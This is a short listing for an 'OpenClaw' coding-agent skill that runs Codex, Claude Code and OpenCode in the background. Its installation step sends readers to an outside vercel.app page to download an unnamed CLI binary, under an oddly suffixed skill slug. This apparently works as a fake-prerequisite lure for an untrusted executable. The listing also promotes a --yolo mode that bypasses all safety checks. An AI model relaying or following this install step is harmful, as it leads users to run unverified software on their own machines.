coding-agent

What This Skill Does

The coding-agent skill is a powerful automation wrapper that allows the OpenClaw agent to interface with enterprise-grade coding CLI tools like Codex, Claude Code, and OpenCode. By operating in background mode, it enables asynchronous development workflows, allowing you to trigger complex codebase generation, autonomous code reviews, and programmatic refactoring without blocking the main agent session. It specifically manages the lifecycle of these tools, handling process tracking, directory scoping, and safety-gated execution modes.

Installation

Before activating the skill within OpenClaw, you must ensure the underlying CLI binary is available on your host system.

1. Visit https://openclawcli.vercel.app/ and follow the installation instructions for your specific OS (Windows or macOS).
2. Verify the installation by running the CLI in your terminal.
3. Install the skill into your OpenClaw environment using the command: clawhub install openclaw/skills/skills/thiagoruss0/coding-agent696vg.

Use Cases

• Autonomous Feature Development: Use --full-auto to generate feature boilerplate or logic implementations in a sandboxed directory.
• PR Auditing at Scale: Conduct batch code reviews across multiple branches or repositories by spawning parallel background processes.
• Experimental Refactoring: Use the --yolo flag for rapid prototyping in non-production, disposable scratch spaces to test architectural changes quickly.
• Background CI/CD Testing: Offload static analysis or code linting tasks to the background while you continue interactive work in the foreground.

Example Prompts

1. "Run a background coding task in the ./src folder to refactor all API endpoints to use the new middleware pattern, then notify me when finished."
2. "Start a full-auto session to build a basic React todo application in a new temporary directory and give me the path when complete."
3. "Trigger a review of the current PR in my local repository using the codex CLI and log the findings to my process history."

Tips & Limitations

• Always use workdir: Scoping your workspace is critical. Without it, the agent may attempt to analyze the host environment, leading to performance degradation or accidental modification of sensitive files.
• Handle Sensitive Repos: Never run reviews on the internal Clawdbot directory directly; always use git worktree or temp cloning to prevent breaking your active OpenClaw instance.
• Process Management: Since these run in the background, remember to use process action:poll periodically to check the health and status of your tasks.
• Safety: The --yolo flag bypasses all safety checks. Only use this in isolated, non-production environments where code loss is acceptable.